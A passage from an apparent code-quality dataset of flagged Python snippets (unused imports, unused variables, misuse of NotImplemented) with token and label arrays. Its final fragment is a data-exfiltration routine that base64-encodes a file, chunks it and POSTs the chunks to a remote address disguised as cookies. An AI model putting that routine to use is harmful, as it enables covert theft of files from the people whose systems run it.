2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused import | weblabdeusto/weblabdeusto/tools/sketches/testpjs/testweblab_launcher.py | [
{
"content": "from __future__ import print_function, unicode_literals\n\"\"\"\nLaunches a local Weblab instance which makes use of the launch_sample configuration, and runs\non it the WeblabWeb tests using PhantomJS. Once the tests are run, the instance is automatically\nstopped.\n\"\"\"\n\n\nimport os\nimport threading\nimport sys\nimport time\n\noriginal_path = os.path.abspath(os.curdir)\n\nweblab_path = \"../../server/launch/sample\"\nos.chdir(weblab_path)\nsys.path.append(\".\")\n\nfrom launch_sample import inner\n\ncondition = threading.Condition()\nevent_notifier = threading.Condition()\n\n\n\n\nrunner = Runner()\nrunner.start()\n\nwith event_notifier:\n event_notifier.wait()\n\nos.chdir(original_path)\n\nresult = os.system(\n \"mocha-phantomjs -s web-security=no -s localToRemoteUrlAccessEnabled=true -s webSecurityEnabled=false testrunner.html\")\n\nos.chdir(weblab_path)\n\n\nwith condition:\n condition.notify()\n\nsys.exit(result)\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
},
{
"content": "class Runner(threading.Thread):",
"metadata": "root.Runner",
"header": "['module', '___EOS___']",
"index": 25
},
{
"content": " def run(self):\n self.launcher = inner(condition=condition, event_notifier=event_notifier)\n self.launcher.launch()",
"metadata": "root.Runner.run",
"header": "['class', 'Runner', '(', 'threading', '.', 'Thread', ')', ':', '___EOS___']",
"index": 26
}
]
| [
{
"span": "import time",
"start_line": 11,
"start_column": 0,
"end_line": 11,
"end_column": 11
}
]
| []
| 1 | false | [
"[CLS]_",
"Un",
"used_",
"import_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"from_",
"\\u\\u",
"future\\u\\u_",
"import_",
"print",
"\\u",
"function_",
",_",
"unicode",
"\\u",
"literals_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\"\"\"",
"\\",
"10",
";",
"Launch",
"es",
" ",
"a",
" ",
"local",
" ",
"Web",
"lab",
" ",
"instance",
" ",
"whi",
"ch",
" ",
"make",
"s",
" ",
"use",
" ",
"of",
" ",
"the",
" ",
"launch",
"\\u",
"sample",
" ",
"configura",
"tion",
",",
" ",
"and",
" ",
"runs",
"\\",
"10",
";",
"on",
" ",
"it",
" ",
"the",
" ",
"Web",
"lab",
"Web",
" ",
"tests",
" ",
"usi",
"ng",
" ",
"Pha",
"nto",
"m",
"JS",
".",
" ",
"On",
"ce",
" ",
"the",
" ",
"tests",
" ",
"are",
" ",
"run",
",",
" ",
"the",
" ",
"instance",
" ",
"is",
" ",
"automati",
"call",
"y",
"\\",
"10",
";",
"stopp",
"ed",
".",
"\\",
"10",
";\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"import_",
"os_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"threading_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"sys_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"time_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"original",
"\\u",
"path_",
"=_",
"os_",
"._",
"path_",
"._",
"abspath_",
"(_",
"os_",
"._",
"curdir_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"webla",
"b",
"\\u",
"path_",
"=_",
"\"../..",
"/",
"server",
"/",
"launch",
"/",
"sample",
"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"os_",
"._",
"chdir_",
"(_",
"webla",
"b",
"\\u",
"path_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"sys_",
"._",
"path_",
"._",
"append_",
"(_",
"\".\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"from_",
"launch",
"\\u",
"sample_",
"import_",
"inner_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"condition_",
"=_",
"threading_",
"._",
"Condition_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"event",
"\\u",
"notifier_",
"=_",
"threading_",
"._",
"Condition_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"runner_",
"=_",
"Runner_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"runner_",
"._",
"start_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"with_",
"event",
"\\u",
"notifier_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"event",
"\\u",
"notifier_",
"._",
"wait_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"os_",
"._",
"chdir_",
"(_",
"original",
"\\u",
"path_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"result_",
"=_",
"os_",
"._",
"system_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"",
"moc",
"ha",
"-",
"phantom",
"js",
" ",
"-",
"s",
" ",
"web",
"-",
"security",
"=",
"no",
" ",
"-",
"s",
" ",
"local",
"To",
"Remo",
"te",
"Ur",
"l",
"Access",
"Enable",
"d",
"=",
"true",
" ",
"-",
"s",
" ",
"web",
"Secur",
"it",
"y",
"Enable",
"d",
"=",
"fal",
"se",
" ",
"testrun",
"ner",
".",
"html",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"os_",
"._",
"chdir_",
"(_",
"webla",
"b",
"\\u",
"path_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"with_",
"condition_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"condition_",
"._",
"notify_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"sys_",
"._",
"exit_",
"(_",
"result_",
")_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"class_",
"Runner_",
"(_",
"threading_",
"._",
"Thread_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Runner_",
"(_",
"threading_",
"._",
"Thread_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"def_",
"run_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"launcher_",
"=_",
"inner_",
"(_",
"condition_",
"=_",
"condition_",
",_",
"event",
"\\u",
"notifier_",
"=_",
"event",
"\\u",
"notifier_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"launcher_",
"._",
"launch_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused local variable | wcong/ants/ants/selector/lxmldocument.py | [
{
"content": " def __new__(cls, response, parser=etree.HTMLParser):\n cache = cls.cache.setdefault(response, {})\n if parser not in cache:\n obj = object_ref.__new__(cls)\n cache[parser] = _factory(response, parser)\n return cache[parser]",
"metadata": "root.LxmlDocument.__new__",
"header": "['class', 'LxmlDocument', '(', 'object_ref', ')', ':', '___EOS___']",
"index": 22
}
]
| [
{
"span": "obj ",
"start_line": 25,
"start_column": 12,
"end_line": 25,
"end_column": 15
}
]
| []
| 1 | true | [
"[CLS]_",
"Un",
"used_",
"local_",
"variable_",
"[SEP]_",
"class_",
"Lx",
"ml",
"Document_",
"(_",
"object\\u",
"ref_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"def_",
"\\u\\u",
"new\\u\\u_",
"(_",
"cls_",
",_",
"response_",
",_",
"parser_",
"=_",
"etree_",
"._",
"HTM",
"LP",
"arser",
"_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"cache_",
"=_",
"cls_",
"._",
"cache_",
"._",
"setdefault_",
"(_",
"response_",
",_",
"{_",
"}_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"parser_",
"not_",
"in_",
"cache_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"obj_",
"=_",
"object\\u",
"ref_",
"._",
"\\u\\u",
"new\\u\\u_",
"(_",
"cls_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"cache_",
"[_",
"parser_",
"]_",
"=_",
"\\u",
"factory_",
"(_",
"response_",
",_",
"parser_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"cache_",
"[_",
"parser_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
NotImplemented is not an Exception | benoitc/gaffer/gaffer/sockjs/session.py | [
{
"content": " def send_message(self, msg, stats=True, binary=False):\n \"\"\"Send or queue outgoing message\n\n `msg`\n Message to send\n `stats`\n If set to True, will update statistics after operation completes\n \"\"\"\n raise NotImplemented()",
"metadata": "root.BaseSession.send_message",
"header": "['class', 'BaseSession', '(', 'object', ')', ':', '___EOS___']",
"index": 179
},
{
"content": " def send_jsonified(self, msg, stats=True):\n \"\"\"Send or queue outgoing message which was json-encoded before. Used by the `broadcast`\n method.\n\n `msg`\n JSON-encoded message to send\n `stats`\n If set to True, will update statistics after operation completes\n \"\"\"\n raise NotImplemented()",
"metadata": "root.BaseSession.send_jsonified",
"header": "['class', 'BaseSession', '(', 'object', ')', ':', '___EOS___']",
"index": 189
}
]
| [
{
"span": "NotImplemented(",
"start_line": 187,
"start_column": 14,
"end_line": 187,
"end_column": 28
},
{
"span": "NotImplemented(",
"start_line": 198,
"start_column": 14,
"end_line": 198,
"end_column": 28
}
]
| []
| 1 | true | [
"[CLS]_",
"Not",
"Implemented_",
"is_",
"not_",
"an_",
"Exception_",
"[SEP]_",
"class_",
"Base",
"Session_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"send",
"\\u",
"message_",
"(_",
"self_",
",_",
"msg_",
",_",
"stats_",
"=_",
"True_",
",_",
"binary_",
"=_",
"False_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"Sen",
"d",
" ",
"or",
" ",
"queue",
" ",
"outgoing",
" ",
"message",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"`",
"msg",
"`",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Messag",
"e",
" ",
"to",
" ",
"send",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"`",
"stats",
"`",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"If",
" ",
"set",
" ",
"to",
" ",
"Tru",
"e",
",",
" ",
"will",
" ",
"update",
" ",
"statistic",
"s",
" ",
"after",
" ",
"operati",
"on",
" ",
"complete",
"s",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"raise_",
"Not",
"Implemented_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Base",
"Session_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"send",
"\\u",
"json",
"ified",
"_",
"(_",
"self_",
",_",
"msg_",
",_",
"stats_",
"=_",
"True_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"Sen",
"d",
" ",
"or",
" ",
"queue",
" ",
"outgoing",
" ",
"message",
" ",
"whi",
"ch",
" ",
"was",
" ",
"json",
"-",
"encode",
"d",
" ",
"bef",
"ore",
".",
" ",
"Us",
"ed",
" ",
"by",
" ",
"the",
" ",
"`",
"broadcast",
"`",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"method",
".",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"`",
"msg",
"`",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"JSO",
"N",
"-",
"encode",
"d",
" ",
"message",
" ",
"to",
" ",
"send",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"`",
"stats",
"`",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"If",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,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
2,
2,
2
]
|
Unused import | XiaoMi/minos/owl/machine/models.py | [
{
"content": "from django.contrib.auth import models as auth_models\nfrom django.db import models\nfrom django.db.models.signals import pre_save, post_save\nfrom django.dispatch import receiver\n\n\n\n\n\n\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
},
{
"content": "class LowerCaseCharField(models.CharField):\n \"\"\"\n Defines a charfield which automatically converts all inputs to\n lowercase and saves.\n \"\"\"\n",
"metadata": "root.LowerCaseCharField",
"header": "['module', '___EOS___']",
"index": 6
},
{
"content": " def pre_save(self, model_instance, add):\n \"\"\"\n Converts the string to lowercase before saving.\n \"\"\"\n current_value = getattr(model_instance, self.attname)\n setattr(model_instance, self.attname, current_value.lower())\n return getattr(model_instance, self.attname)",
"metadata": "root.LowerCaseCharField.pre_save",
"header": "['class', 'LowerCaseCharField', '(', 'models', '.', 'CharField', ')', ':', '___EOS___']",
"index": 12
},
{
"content": "class Machine(models.Model):\n # Identifier\n hostname = LowerCaseCharField(max_length=64, unique=True)\n ip = models.IPAddressField(unique=True)\n\n # Location\n idc = LowerCaseCharField(max_length=8)\n rack = LowerCaseCharField(max_length=8)\n\n # Capacity\n cores = models.IntegerField()\n ram = models.IntegerField(\n help_text='RAM in G bytes')\n disks = models.IntegerField(\n help_text='Number of disks')\n disk_capacity = models.IntegerField(\n help_text='Capaciy of each disk in G bytes')\n ssds = models.IntegerField(default=0,\n help_text='Number of SSDs')\n ssd_capacity = models.IntegerField(default=0,\n help_text='Capaciy of each SSD in G bytes')\n\n # Trace record change\n create_time = models.DateTimeField(auto_now_add=True)\n update_time = models.DateTimeField(auto_now=True)",
"metadata": "root.Machine",
"header": "['module', '___EOS___']",
"index": 21
},
{
"content": "@receiver(pre_save, sender=auth_models.User)\ndef auth_user_pre_save(sender, instance=None, **kwargs):\n instance.is_staff = True",
"metadata": "root.auth_user_pre_save",
"header": "['module', '___EOS___']",
"index": 48
}
]
| [
{
"span": "from django.db.models.signals import pre_save, post_save",
"start_line": 2,
"start_column": 0,
"end_line": 2,
"end_column": 56
}
]
| []
| 1 | false | [
"[CLS]_",
"Un",
"used_",
"import_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"from_",
"django_",
"._",
"contrib_",
"._",
"auth_",
"import_",
"models_",
"as_",
"auth",
"\\u",
"models_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"django_",
"._",
"db_",
"import_",
"models_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"django_",
"._",
"db_",
"._",
"models_",
"._",
"signals_",
"import_",
"pre",
"\\u",
"save_",
",_",
"post",
"\\u",
"save_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"django_",
"._",
"dispatch_",
"import_",
"receiver_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"class_",
"Lower",
"Case",
"Char",
"Field_",
"(_",
"models_",
"._",
"Char",
"Field_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"\\",
"10",
";",
" ",
" ",
"Define",
"s",
" ",
"a",
" ",
"char",
"field",
" ",
"whi",
"ch",
" ",
"automati",
"call",
"y",
" ",
"convert",
"s",
" ",
"all",
" ",
"inputs",
" ",
"to",
"\\",
"10",
";",
" ",
" ",
"lower",
"case",
" ",
"and",
" ",
"save",
"s",
".",
"\\",
"10",
";",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"class_",
"Lower",
"Case",
"Char",
"Field_",
"(_",
"models_",
"._",
"Char",
"Field_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"def_",
"pre",
"\\u",
"save_",
"(_",
"self_",
",_",
"model",
"\\u",
"instance_",
",_",
"add_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Convert",
"s",
" ",
"the",
" ",
"string",
" ",
"to",
" ",
"lower",
"case",
" ",
"bef",
"ore",
" ",
"saving",
".",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"current",
"\\u",
"value_",
"=_",
"getattr_",
"(_",
"model",
"\\u",
"instance_",
",_",
"self_",
"._",
"attn",
"ame_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"setattr_",
"(_",
"model",
"\\u",
"instance_",
",_",
"self_",
"._",
"attn",
"ame_",
",_",
"current",
"\\u",
"value_",
"._",
"lower_",
"(_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"getattr_",
"(_",
"model",
"\\u",
"instance_",
",_",
"self_",
"._",
"attn",
"ame_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"class_",
"Machine_",
"(_",
"models_",
"._",
"Model_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Identifier_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"hostname_",
"=_",
"Lower",
"Case",
"Char",
"Field_",
"(_",
"max",
"\\u",
"length_",
"=_",
"64_",
",_",
"unique_",
"=_",
"True_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"ip_",
"=_",
"models_",
"._",
"IPA",
"ddress",
"Field_",
"(_",
"unique_",
"=_",
"True_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Location_",
"\\u\\u\\uNL\\u\\u\\u_",
"idc",
"_",
"=_",
"Lower",
"Case",
"Char",
"Field_",
"(_",
"max",
"\\u",
"length_",
"=_",
"8_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"rack_",
"=_",
"Lower",
"Case",
"Char",
"Field_",
"(_",
"max",
"\\u",
"length_",
"=_",
"8_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Capacit",
"y_",
"\\u\\u\\uNL\\u\\u\\u_",
"cores_",
"=_",
"models_",
"._",
"Integer",
"Field_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"ram_",
"=_",
"models_",
"._",
"Integer",
"Field_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"help",
"\\u",
"text_",
"=_",
"'",
"RAM",
" ",
"in",
" ",
"G",
" ",
"bytes",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"disks_",
"=_",
"models_",
"._",
"Integer",
"Field_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"help",
"\\u",
"text_",
"=_",
"'",
"Number",
" ",
"of",
" ",
"disks",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"disk",
"\\u",
"capacity_",
"=_",
"models_",
"._",
"Integer",
"Field_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"help",
"\\u",
"text_",
"=_",
"'",
"Capa",
"ci",
"y",
" ",
"of",
" ",
"each",
" ",
"disk",
" ",
"in",
" ",
"G",
" ",
"bytes",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"ssd",
"s_",
"=_",
"models_",
"._",
"Integer",
"Field_",
"(_",
"default_",
"=_",
"0_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"help",
"\\u",
"text_",
"=_",
"'",
"Number",
" ",
"of",
" ",
"SSD",
"s",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"ssd",
"\\u",
"capacity_",
"=_",
"models_",
"._",
"Integer",
"Field_",
"(_",
"default_",
"=_",
"0_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"help",
"\\u",
"text_",
"=_",
"'",
"Capa",
"ci",
"y",
" ",
"of",
" ",
"each",
" ",
"SSD",
" ",
"in",
" ",
"G",
" ",
"bytes",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Trace",
" ",
"record",
" ",
"change_",
"\\u\\u\\uNL\\u\\u\\u_",
"create",
"\\u",
"time_",
"=_",
"models_",
"._",
"Date",
"Time",
"Field_",
"(_",
"auto",
"\\u",
"now",
"\\u",
"add_",
"=_",
"True_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"update",
"\\u",
"time_",
"=_",
"models_",
"._",
"Date",
"Time",
"Field_",
"(_",
"auto",
"\\u",
"now_",
"=_",
"True_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"@_",
"receiver_",
"(_",
"pre",
"\\u",
"save_",
",_",
"sender_",
"=_",
"auth",
"\\u",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_size=1200, time_delay=0.05):\n\t\"\"\"\n\tThis function will exfiltrate the data given.\n\t:param addr: IP or hostname to exfiltrate the data to\n\t:param file_path: Path of the file to exfiltrate\n\t:param max_packet_size: If not set the max size is 1200\n\t:param time_delay: If not set time delay between packets is 0.05 seconds\n\t:return:\n\t\"\"\"\n\ttry:\n\t\t# Load file\n\t\tfh = open(file_path, READ_BINARY)\n\t\tiAmFile = fh.read()\n\t\tfh.close()\n\texcept:\n\t\tsys.stderr.write(\"Error reading file!\\n\")\n\t\traise ()\n\n\t# Split file to chunks by size:\n\tchunks = []\n\tIamDone = \"\"\n\n\tIamDone = base64.b64encode(iAmFile) # Base64 Encode for ASCII\n\tchecksum = zlib.crc32(IamDone) # Calculate CRC32 for later verification\n\tchunks = [IamDone[i:i + max_packet_size] for i in range(0, len(IamDone), max_packet_size)] # Split into chunks\n\thead, tail = os.path.split(file_path) # Get filename\n\n\t# Initial packet:\n\ttry:\n\t\tinit_payload = tail + COOKIE_DELIMITER + str(checksum) + COOKIE_DELIMITER + str(len(chunks))\n\t\tpayload = {INIT_PACKET_COOKIE: init_payload}\n\t\trequests.post(addr, data=json.dumps(payload), headers=HEADERS)\n\t\tsys.stdout.write(\"[+] Sent initiation package. Total of %s chunks.\\n\" % (len(chunks) + 2))\n\t\tsys.stdout.write(\".\")\n\t\ttime.sleep(time_delay)\n\texcept:\n\t\tsys.stderr.write(\"Unable to reach target with error:\\n\")\n\t\traise ()\n\n\t# Send data\n\tcurrent_chunk = 0\n\tfor chunk in chunks:\n\t\tpayload = {PACKET_COOKIE + str(current_chunk): chunk}\n\t\trequests.post(addr, data=json.dumps(payload), headers=HEADERS)\n\t\tcurrent_chunk += 1\n\t\tsys.stdout.write(\".\")\n\t\ttime.sleep(time_delay)\n\tsys.stdout.write(\".\\n\")\n\n\t# Termination packet\n\tdata = DATA_END + 